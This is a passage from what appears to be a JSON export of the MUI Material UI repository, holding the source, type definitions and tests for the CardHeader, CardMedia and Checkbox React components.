<CardHeader slotProps={{ title: { component: 'incorrectComponent' } }} />;\n  <CardHeader slotProps={{ title: { component: 'a', href: 'href' } }} />;\n  <CardHeader\n    slotProps={{ title: { component: CustomComponent, stringProp: 'stringProp', numberProp: 2 } }}\n  />;\n  <CardHeader slotProps={{ title: { variant: 'h1' } }} />;\n  <CardHeader slotProps={{ title: { align: 'left' } }} />;\n  <CardHeader\n    slotProps={{\n      title: {\n        color: 'primary',\n        display: 'block',\n        gutterBottom: true,\n        noWrap: true,\n        variantMapping: { h1: 'h1' },\n      },\n    }}\n  />;\n  // @ts-expect-error\n  <CardHeader\n    slotProps={{\n      title: {\n        component: CustomComponent,\n        stringProp: 'stringProp',\n        numberProp: '',\n      },\n    }}\n  />;\n  // @ts-expect-error\n  <CardHeader slotProps={{ title: { component: CustomComponent, numberProp: 2 } }} />;\n  <CardHeader\n    slotProps={{\n      title: {\n        component: 'a',\n        // ExpectError: This is expected to err; the type system is welcoming unknown props.\n        propThatDoesntExist: 'shouldNotWork',\n      },\n    }}\n  />;\n  // Regression test for https://github.com/mui/material-ui/issues/21583\n  // which was probably fixed in https://github.com/mui/material-ui/pull/21552.\n  <CardHeader\n    title={<strong>Contemplative Reptile</strong>}\n    slotProps={{ title: { component: 'h2' } }}\n  />;\n}\n\nfunction subheaderTypographyPropsTest() {\n  <CardHeader slotProps={{ subheader: { component: 'a', href: 'href' } }} />;\n  <CardHeader\n    slotProps={{\n      subheader: {\n        component: CustomComponent,\n        stringProp: 'stringProp',\n        numberProp: 2,\n      },\n    }}\n  />;\n  <CardHeader slotProps={{ subheader: { variant: 'h1' } }} />;\n  <CardHeader slotProps={{ subheader: { align: 'left' } }} />;\n  <CardHeader\n    slotProps={{\n      subheader: {\n        color: 'primary',\n        display: 'block',\n        gutterBottom: true,\n        noWrap: true,\n        variantMapping: { h1: 'h1' },\n      },\n    }}\n  />;\n  <CardHeader\n    slotProps={{\n      subheader: {\n        component: 'a',\n        // ExpectError: This is expected to err; the type system is welcoming unknown props.\n        propThatDoesntExist: 'shouldNotWork',\n      },\n    }}\n  />;\n  // @ts-expect-error\n  <CardHeader slotProps={{ subheader: { component: 'incorrectComponent' } }} />;\n  // @ts-expect-error\n  <CardHeader slotProps={{ subheader: { component: CustomComponent, numberProp: 2 } }} />;\n}\n\nfunction mixedTypographyPropsTest() {\n  <CardHeader\n    slotProps={{\n      title: { component: 'a', href: 'href' },\n      subheader: { component: 'a', href: 'href' },\n    }}\n  />;\n  <CardHeader\n    slotProps={{\n      title: { component: CustomComponent, stringProp: 'stringProp', numberProp: 2 },\n      subheader: {\n        component: CustomComponent,\n        stringProp: 'stringProp',\n        numberProp: 2,\n      },\n    }}\n  />;\n  // @ts-expect-error\n  <CardHeader\n    slotProps={{\n      title: { component: 'incorrectComponent' },\n      subheader: { component: 'incorrectComponent' },\n    }}\n  />;\n  <CardHeader\n    slotProps={{\n      title: {\n        component: 'a',\n        // ExpectError: This is expected to err; the type system is welcoming unknown props.\n        propThatDoesntExist: 'shouldNotWork',\n      },\n      subheader: {\n        component: 'a',\n        // ExpectError: This is expected to err; the type system is welcoming unknown props.\n        propThatDoesntExist: 'shouldNotWork',\n      },\n    }}\n  />;\n  // @ts-expect-error\n  <CardHeader\n    slotProps={{\n      title: { component: CustomComponent, numberProp: 2 },\n      subheader: { component: CustomComponent, numberProp: 2 },\n    }}\n  />;\n  <CardHeader\n    slotProps={{\n      // @ts-expect-error\n      title: { component: CustomComponent, numberProp: 2 },\n      subheader: { component: CustomComponent, numberProp: 2, stringProp: 'yada' },\n    }}\n  />;\n  <CardHeader\n    slotProps={{\n      title: { component: CustomComponent, numberProp: 2, stringProp: 'yada' },\n      // @ts-expect-error\n      subheader: { component: CustomComponent, numberProp: 2 },\n    }}\n  />;\n}\n\n<CardHeader\n  slotProps={{\n    root: {\n      component: 'div',\n      className: 'flex',\n      'data-testid': 'hello',\n    },\n    action: {\n      component: 'div',\n      className: 'flex',\n      'data-testid': 'hello',\n    },\n    avatar: {\n      component: 'div',\n      className: 'flex',\n      'data-testid': 'hello',\n    },\n    content: {\n      component: 'div',\n      className: 'flex',\n      'data-testid': 'hello',\n    },\n    title: {\n      component: 'div',\n      className: 'flex',\n      'data-testid': 'hello',\n    },\n    subheader: {\n      component: 'div',\n      className: 'flex',\n      'data-testid': 'hello',\n    },\n  }}\n/>;\nconst CustomSlot = styled('div')({});\n<CardHeader\n  slots={{\n    action: CustomSlot,\n    avatar: CustomSlot,\n    content: CustomSlot,\n    root: CustomSlot,\n    subheader: CustomSlot,\n    title: CustomSlot,\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/CardHeader/CardHeader.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { typographyClasses } from '@mui/material/Typography';\nimport Avatar from '@mui/material/Avatar';\nimport IconButton from '@mui/material/IconButton';\nimport CardHeader, { cardHeaderClasses as classes } from '@mui/material/CardHeader';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<CardHeader />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <CardHeader title=\"title\" subheader=\"subheader\" avatar={<Avatar />} action={<IconButton />} />,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiCardHeader',\n      refInstanceof: window.HTMLDivElement,\n      testDeepOverrides: { slotName: 'content', slotClassName: classes.content },\n      testComponentPropWith: 'span',\n      testVariantProps: { variant: 'foo' },\n      slots: {\n        root: {\n          expectedClassName: classes.root,\n        },\n        avatar: {\n          expectedClassName: classes.avatar,\n        },\n        action: {\n          expectedClassName: classes.action,\n        },\n        content: {\n          expectedClassName: classes.content,\n        },\n        title: {\n          expectedClassName: classes.title,\n        },\n        subheader: {\n          expectedClassName: classes.subheader,\n        },\n      },\n    }),\n  );\n\n  describe('without an avatar', () => {\n    it('should render the title as headline text', () => {\n      const cardHeader = render(<CardHeader title=\"Title\" subheader=\"Subheader\" />).container\n        .firstChild;\n      const wrapper = cardHeader.firstChild;\n      const title = wrapper.childNodes[0];\n      expect(title).to.have.class(typographyClasses.root);\n      expect(title).to.have.class(typographyClasses.h5);\n    });\n\n    it('should render the subheader as body1', () => {\n      const cardHeader = render(<CardHeader title=\"Title\" subheader=\"Subheader\" />).container\n        .firstChild;\n      const wrapper = cardHeader.firstChild;\n      const subheader = wrapper.childNodes[1];\n      expect(subheader).to.have.class(typographyClasses.root);\n      expect(subheader).to.have.class(typographyClasses.body1);\n    });\n\n    it('should not render the subheader if none is given', () => {\n      const cardHeader = render(<CardHeader title=\"Title\" />).container.firstChild;\n      const wrapper = cardHeader.firstChild;\n      const title = wrapper.childNodes[0];\n      expect(title).to.have.class(typographyClasses.root);\n      expect(wrapper.childNodes.length).to.equal(1);\n    });\n  });\n\n  describe('with an avatar', () => {\n    const avatar = <span />;\n    let cardHeader;\n\n    beforeEach(() => {\n      // eslint-disable-next-line testing-library/no-render-in-lifecycle\n      cardHeader = render(<CardHeader avatar={avatar} title=\"Title\" subheader=\"Subhead\" />)\n        .container.firstChild;\n    });\n\n    it('should render the avatar inside the first child', () => {\n      const avatarWrapper = cardHeader.childNodes[0];\n      expect(avatarWrapper).to.have.tagName('div');\n      expect(avatarWrapper).to.have.class(classes.avatar);\n      expect(avatarWrapper.firstChild).to.have.tagName('span');\n    });\n\n    it('should render the title text inside the second child', () => {\n      const titleWrapper = cardHeader.childNodes[1];\n      expect(titleWrapper).to.have.class(classes.content, 'should have the content class');\n      const title = titleWrapper.childNodes[0];\n      expect(title).to.have.class(typographyClasses.root);\n      expect(title).to.have.class(typographyClasses.body2);\n    });\n\n    it('should render the subheader as body2 secondary text inside the second child', () => {\n      const titleWrapper = cardHeader.childNodes[1];\n      expect(titleWrapper).to.have.class(classes.content, 'should have the content class');\n      const subHeader = titleWrapper.childNodes[1];\n      expect(subHeader).to.have.class(typographyClasses.root);\n      expect(subHeader).to.have.class(typographyClasses.body2);\n    });\n  });\n\n  it('should merge className and style from props and from the theme if mergeClassNameAndStyle is true', () => {\n    const { container } = render(\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            mergeClassNameAndStyle: true,\n            MuiCardHeader: {\n              defaultProps: {\n                className: 'theme-class',\n                style: { margin: '10px' },\n                slotProps: {\n                  root: {\n                    className: 'theme-slot-props-root-class',\n                    style: {\n                      fontSize: '10px',\n                    },\n                  },\n                  title: {\n                    className: 'theme-slot-props-title-class',\n                  },\n                },\n              },\n            },\n          },\n        })}\n      >\n        <CardHeader\n          title=\"Title\"\n          subheader=\"Subheader\"\n          className=\"component-class\"\n          style={{ padding: '10px' }}\n          slotProps={{\n            title: {\n              className: 'slot-props-title-class',\n            },\n            root: {\n              className: 'slot-props-root-class',\n              style: {\n                fontWeight: 'bold',\n              },\n            },\n          }}\n        />\n      </ThemeProvider>,\n    );\n    const cardHeader = container.querySelector(`.${classes.root}`);\n    expect(cardHeader).to.have.class('theme-class');\n    expect(cardHeader).to.have.class('component-class');\n    expect(cardHeader).to.have.class('theme-slot-props-root-class');\n    expect(cardHeader).to.have.class('slot-props-root-class');\n    expect(cardHeader.style.margin).to.equal('10px'); // from theme\n    expect(cardHeader.style.padding).to.equal('10px'); // from props\n    expect(cardHeader.style.fontWeight).to.equal('bold'); // from props slotProps\n    expect(cardHeader.style.fontSize).to.equal('10px'); // from theme slotProps\n\n    const title = container.querySelector(`.${classes.title}`);\n    expect(title).to.have.class('theme-slot-props-title-class');\n    expect(title).to.have.class('slot-props-title-class');\n  });\n\n  it('should not merge className and style from props and from the theme if mergeClassNameAndStyle is false', () => {\n    render(\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiCardHeader: {\n              defaultProps: {\n                className: 'test-class-1',\n                style: { margin: '10px' },\n                slotProps: {\n                  title: {\n                    className: 'title-class-1',\n                  },\n                },\n              },\n            },\n          },\n        })}\n      >\n        <CardHeader\n          title=\"Title\"\n          subheader=\"Subheader\"\n          className=\"test-class-2\"\n          style={{ padding: '10px' }}\n          slotProps={{\n            title: {\n              className: 'title-class-2',\n            },\n          }}\n        />\n      </ThemeProvider>,\n    );\n    const cardHeader = document.querySelector(`.${classes.root}`);\n    expect(cardHeader).to.not.have.class('test-class-1');\n    expect(cardHeader).to.have.class('test-class-2');\n    expect(cardHeader).to.not.have.style('margin', '10px');\n    expect(cardHeader).to.have.style('padding', '10px');\n\n    const title = cardHeader.querySelector(`.${classes.title}`);\n    expect(title).to.not.have.class('title-class-1');\n    expect(title).to.have.class('title-class-2');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/CardHeader/cardHeaderClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CardHeaderClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the avatar element. */\n  avatar: string;\n  /** Styles applied to the action element. */\n  action: string;\n  /** Styles applied to the content wrapper element. */\n  content: string;\n  /** Styles applied to the title Typography element. */\n  title: string;\n  /** Styles applied to the subheader Typography element. */\n  subheader: string;\n}\n\nexport type CardHeaderClassKey = keyof CardHeaderClasses;\n\nexport function getCardHeaderUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCardHeader', slot);\n}\n\nconst cardHeaderClasses: CardHeaderClasses = generateUtilityClasses('MuiCardHeader', [\n  'root',\n  'avatar',\n  'action',\n  'content',\n  'title',\n  'subheader',\n]);\n\nexport default cardHeaderClasses;\n"
  },
  {
    "path": "packages/mui-material/src/CardHeader/index.d.ts",
    "content": "export { default } from './CardHeader';\nexport * from './CardHeader';\n\nexport { default as cardHeaderClasses } from './cardHeaderClasses';\nexport * from './cardHeaderClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardHeader/index.js",
    "content": "export { default } from './CardHeader';\n\nexport { default as cardHeaderClasses } from './cardHeaderClasses';\nexport * from './cardHeaderClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardMedia/CardMedia.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { CardMediaClasses } from './cardMediaClasses';\n\nexport interface CardMediaOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CardMediaClasses> | undefined;\n  /**\n   * Image to be displayed as a background image.\n   * Either `image` or `src` prop must be specified.\n   * Note that caller must specify height otherwise the image will not be visible.\n   */\n  image?: string | undefined;\n  /**\n   * An alias for `image` property.\n   * Available only with media components.\n   * Media components: `video`, `audio`, `picture`, `iframe`, `img`.\n   */\n  src?: string | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface CardMediaTypeMap<AdditionalProps, RootComponent extends React.ElementType> {\n  props: AdditionalProps & CardMediaOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n *\n * API:\n *\n * - [CardMedia API](https://next.mui.com/material-ui/api/card-media/)\n */\ndeclare const CardMedia: OverridableComponent<CardMediaTypeMap<{}, 'div'>>;\n\nexport type CardMediaProps<\n  RootComponent extends React.ElementType = 'div',\n  AdditionalProps = {},\n> = OverrideProps<CardMediaTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default CardMedia;\n"
  },
  {
    "path": "packages/mui-material/src/CardMedia/CardMedia.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getCardMediaUtilityClass } from './cardMediaClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, isMediaComponent, isImageComponent } = ownerState;\n\n  const slots = {\n    root: ['root', isMediaComponent && 'media', isImageComponent && 'img'],\n  };\n\n  return composeClasses(slots, getCardMediaUtilityClass, classes);\n};\n\nconst CardMediaRoot = styled('div', {\n  name: 'MuiCardMedia',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    const { isMediaComponent, isImageComponent } = ownerState;\n\n    return [styles.root, isMediaComponent && styles.media, isImageComponent && styles.img];\n  },\n})({\n  display: 'block',\n  backgroundSize: 'cover',\n  backgroundRepeat: 'no-repeat',\n  backgroundPosition: 'center',\n  variants: [\n    {\n      props: { isMediaComponent: true },\n      style: {\n        width: '100%',\n      },\n    },\n    {\n      props: { isImageComponent: true },\n      style: {\n        objectFit: 'cover',\n      },\n    },\n  ],\n});\n\nconst MEDIA_COMPONENTS = ['video', 'audio', 'picture', 'iframe', 'img'];\nconst IMAGE_COMPONENTS = ['picture', 'img'];\n\nconst CardMedia = React.forwardRef(function CardMedia(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiCardMedia' });\n  const { children, className, component = 'div', image, src, style, ...other } = props;\n\n  const isMediaComponent = MEDIA_COMPONENTS.includes(component);\n  const composedStyle =\n    !isMediaComponent && image ? { backgroundImage: `url(\"${image}\")`, ...style } : style;\n\n  const ownerState = {\n    ...props,\n    component,\n    isMediaComponent,\n    isImageComponent: IMAGE_COMPONENTS.includes(component),\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <CardMediaRoot\n      className={clsx(classes.root, className)}\n      as={component}\n      role={!isMediaComponent && image ? 'img' : undefined}\n      ref={ref}\n      style={composedStyle}\n      ownerState={ownerState}\n      src={isMediaComponent ? image || src : undefined}\n      {...other}\n    >\n      {children}\n    </CardMediaRoot>\n  );\n});\n\nCardMedia.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: chainPropTypes(PropTypes.node, (props) => {\n    if (!props.children && !props.image && !props.src && !props.component) {\n      return new Error(\n        'MUI: Either `children`, `image`, `src` or `component` prop must be specified.',\n      );\n    }\n    return null;\n  }),\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Image to be displayed as a background image.\n   * Either `image` or `src` prop must be specified.\n   * Note that caller must specify height otherwise the image will not be visible.\n   */\n  image: PropTypes.string,\n  /**\n   * An alias for `image` property.\n   * Available only with media components.\n   * Media components: `video`, `audio`, `picture`, `iframe`, `img`.\n   */\n  src: PropTypes.string,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default CardMedia;\n"
  },
  {
    "path": "packages/mui-material/src/CardMedia/CardMedia.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport CardMedia, { cardMediaClasses as classes } from '@mui/material/CardMedia';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<CardMedia />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<CardMedia image=\"/fake.png\" />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiCardMedia',\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'span',\n    testVariantProps: { variant: 'foo' },\n  }));\n\n  it('has the img role if `image` is defined', () => {\n    const { container } = render(<CardMedia image=\"/fake.png\" />);\n\n    const cardMedia = container.firstChild;\n    expect(cardMedia).to.have.attribute('role', 'img');\n  });\n\n  it('should have the backgroundImage specified', () => {\n    const { container } = render(<CardMedia image=\"/fake.png\" />);\n    const cardMedia = container.firstChild;\n    expect(cardMedia.style.backgroundImage).to.match(/\\/fake.png/m);\n  });\n\n  it('should have backgroundImage specified even though custom styles got passed', () => {\n    const { container } = render(<CardMedia image=\"/fake.png\" style={{ height: 200 }} />);\n    const cardMedia = container.firstChild;\n    expect(cardMedia.style.backgroundImage).to.match(/\\/fake.png/m);\n    expect(cardMedia.style.height).to.equal('200px');\n  });\n\n  it('should be possible to overwrite backgroundImage via custom styles', () => {\n    const { container } = render(\n      <CardMedia image=\"/fake.png\" style={{ backgroundImage: 'url(fake2.png)' }} />,\n    );\n    const cardMedia = container.firstChild;\n    expect(cardMedia.style.backgroundImage).to.match(/fake2.png/m);\n  });\n\n  describe('prop: component', () => {\n    it('should have `src` prop when media component specified', () => {\n      const { container } = render(<CardMedia image=\"/fake.png\" component=\"iframe\" />);\n      const cardMedia = container.firstChild;\n      expect(cardMedia).to.have.attribute('src', '/fake.png');\n    });\n\n    it('should not have `src` prop when picture media component specified', () => {\n      const { container } = render(\n        <CardMedia component=\"picture\">\n          <source media=\"(min-width: 600px)\" srcSet=\"/fake.png\" />\n          <img src=\"/fake.png\" alt=\"hello\" />\n        </CardMedia>,\n      );\n      const cardMedia = container.firstChild;\n      expect(cardMedia).not.to.have.attribute('src');\n    });\n\n    it('should not have default inline style when media component specified', () => {\n      const { container } = render(<CardMedia src=\"/fake.png\" component=\"picture\" />);\n      const cardMedia = container.firstChild;\n      expect(cardMedia.style.backgroundImage).to.equal('');\n    });\n\n    it('should not have `src` prop if not media component specified', () => {\n      const { container } = render(<CardMedia image=\"/fake.png\" component=\"table\" />);\n      const cardMedia = container.firstChild;\n      expect(cardMedia).not.to.have.attribute('src');\n    });\n\n    it('should not have an explicit role when host components already apply image semantics', () => {\n      render(\n        <React.Fragment>\n          <CardMedia data-testid=\"cardmedia\" image=\"/fake.png\" component=\"img\" />\n          <CardMedia data-testid=\"cardmedia\" image=\"/fake.png\" component=\"picture\" />\n        </React.Fragment>,\n      );\n\n      const [img, picture] = screen.getAllByTestId('cardmedia');\n      expect(img).to.have.tagName('img');\n      expect(img).not.to.have.attribute('role');\n      expect(picture).to.have.tagName('picture');\n      expect(picture).not.to.have.attribute('role');\n    });\n  });\n\n  describe('warnings', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('warns when neither `children`, nor `image`, nor `src`, nor `component` are provided', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(CardMedia.propTypes, { classes: {} }, 'prop', 'MockedName');\n      }).toErrorDev(\n        'MUI: Either `children`, `image`, `src` or `component` prop must be specified.',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/CardMedia/cardMediaClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CardMediaClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `component=\"video, audio, picture, iframe, or img\"`. */\n  media: string;\n  /** Styles applied to the root element if `component=\"picture or img\"`. */\n  img: string;\n}\n\nexport type CardMediaClassKey = keyof CardMediaClasses;\n\nexport function getCardMediaUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCardMedia', slot);\n}\n\nconst cardMediaClasses: CardMediaClasses = generateUtilityClasses('MuiCardMedia', [\n  'root',\n  'media',\n  'img',\n]);\n\nexport default cardMediaClasses;\n"
  },
  {
    "path": "packages/mui-material/src/CardMedia/index.d.ts",
    "content": "export { default } from './CardMedia';\nexport * from './CardMedia';\n\nexport { default as cardMediaClasses } from './cardMediaClasses';\nexport * from './cardMediaClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardMedia/index.js",
    "content": "export { default } from './CardMedia';\n\nexport { default as cardMediaClasses } from './cardMediaClasses';\nexport * from './cardMediaClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Checkbox/Checkbox.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { SwitchBaseProps } from '../internal/SwitchBase';\nimport { CheckboxClasses } from './checkboxClasses';\n\nexport interface CheckboxPropsSizeOverrides {}\n\nexport interface CheckboxPropsColorOverrides {}\n\nexport interface CheckboxRootSlotPropsOverrides {}\n\nexport interface CheckboxInputSlotPropsOverrides {}\n\nexport interface CheckboxSlots {\n  /**\n   * The component that renders the root slot.\n   * @default SwitchBase\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the input slot.\n   * @default SwitchBase's input\n   */\n  input: React.ElementType;\n}\n\nexport type CheckboxSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  CheckboxSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the div element.\n     */\n    root: SlotProps<\n      React.ElementType<SwitchBaseProps>,\n      CheckboxRootSlotPropsOverrides,\n      CheckboxOwnerState\n    >;\n    /**\n     * Props forwarded to the input slot.\n     * By default, the available props are based on the input element.\n     */\n    input: SlotProps<'input', CheckboxInputSlotPropsOverrides, CheckboxOwnerState>;\n  }\n>;\n\nexport interface CheckboxProps\n  extends\n    StandardProps<\n      SwitchBaseProps,\n      'checkedIcon' | 'color' | 'icon' | 'type' | 'slots' | 'slotProps'\n    >,\n    CheckboxSlotsAndSlotProps {\n  /**\n   * If `true`, the component is checked.\n   */\n  checked?: SwitchBaseProps['checked'] | undefined;\n  /**\n   * The icon to display when the component is checked.\n   * @default <CheckBoxIcon />\n   */\n  checkedIcon?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CheckboxClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning' | 'default',\n        CheckboxPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: SwitchBaseProps['disabled'] | undefined;\n  /**\n   * If `true`, the ripple effect is disabled.\n   * @default false\n   */\n  disableRipple?: SwitchBaseProps['disableRipple'] | undefined;\n  /**\n   * The icon to display when the component is unchecked.\n   * @default <CheckBoxOutlineBlankIcon />\n   */\n  icon?: React.ReactNode;\n  /**\n   * The id of the `input` element.\n   */\n  id?: SwitchBaseProps['id'] | undefined;\n  /**\n   * If `true`, the component appears indeterminate.\n   * This does not set the native input element to indeterminate due\n   * to inconsistent behavior across browsers.\n   * However, we set a `data-indeterminate` attribute on the `input`.\n   * @default false\n   */\n  indeterminate?: boolean | undefined;\n  /**\n   * The icon to display when the component is indeterminate.\n   * @default <IndeterminateCheckBoxIcon />\n   */\n  indeterminateIcon?: React.ReactNode;\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {React.ChangeEvent<HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange?: SwitchBaseProps['onChange'] | undefined;\n  /**\n   * If `true`, the `input` element is required.\n   * @default false\n   */\n  required?: SwitchBaseProps['required'] | undefined;\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense checkbox styling.\n   * @default 'medium'\n   */\n  size?:\n    | OverridableStringUnion<'small' | 'medium' | 'large', CheckboxPropsSizeOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The value of the component. The DOM API casts this to a string.\n   * The browser uses \"on\" as the default value.\n   */\n  value?: SwitchBaseProps['value'] | undefined;\n}\n\nexport interface CheckboxOwnerState extends Omit<CheckboxProps, 'slots' | 'slotProps'> {}\n\n/**\n *\n * Demos:\n *\n * - [Checkbox](https://next.mui.com/material-ui/react-checkbox/)\n * - [Transfer List](https://next.mui.com/material-ui/react-transfer-list/)\n *\n * API:\n *\n * - [Checkbox API](https://next.mui.com/material-ui/api/checkbox/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\nexport default function Checkbox(props: CheckboxProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Checkbox/Checkbox.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport SwitchBase from '../internal/SwitchBase';\nimport CheckBoxOutlineBlankIcon from '../internal/svg-icons/CheckBoxOutlineBlank';\nimport CheckBoxIcon from '../internal/svg-icons/CheckBox';\nimport IndeterminateCheckBoxIcon from '../internal/svg-icons/IndeterminateCheckBox';\nimport capitalize from '../utils/capitalize';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport checkboxClasses, { getCheckboxUtilityClass } from './checkboxClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { mergeSlotProps } from '../utils';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, indeterminate, color, size } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      indeterminate && 'indeterminate',\n      `color${capitalize(color)}`,\n      `size${capitalize(size)}`,\n    ],\n  };\n\n  const composedClasses = composeClasses(slots, getCheckboxUtilityClass, classes);\n\n  return {\n    ...classes, // forward the disabled and checked classes to the SwitchBase\n    ...composedClasses,\n  };\n};\n\nconst CheckboxRoot = styled(SwitchBase, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiCheckbox',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.indeterminate && styles.indeterminate,\n      styles[`size${capitalize(ownerState.size)}`],\n      ownerState.color !== 'default' && styles[`color${capitalize(ownerState.color)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    color: (theme.vars || theme).palette.text.secondary,\n    variants: [\n      {\n        props: { color: 'default', disableRipple: false },\n        style: {\n          '&:hover': {\n            backgroundColor: theme.alpha(\n              (theme.vars || theme).palette.action.active,\n              (theme.vars || theme).palette.action.hoverOpacity,\n            ),\n          },\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color, disableRipple: false },\n          style: {\n            '&:hover': {\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette[color].main,\n                (theme.vars || theme).palette.action.hoverOpacity,\n              ),\n            },\n          },\n        })),\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            [`&.${checkboxClasses.checked}, &.${checkboxClasses.indeterminate}`]: {\n              color: (theme.vars || theme).palette[color].main,\n            },\n            [`&.${checkboxClasses.disabled}`]: {\n              color: (theme.vars || theme).palette.action.disabled,\n            },\n          },\n        })),\n      {\n        // Should be last to override other colors\n        props: { disableRipple: false },\n        style: {\n          // Reset on touch devices, 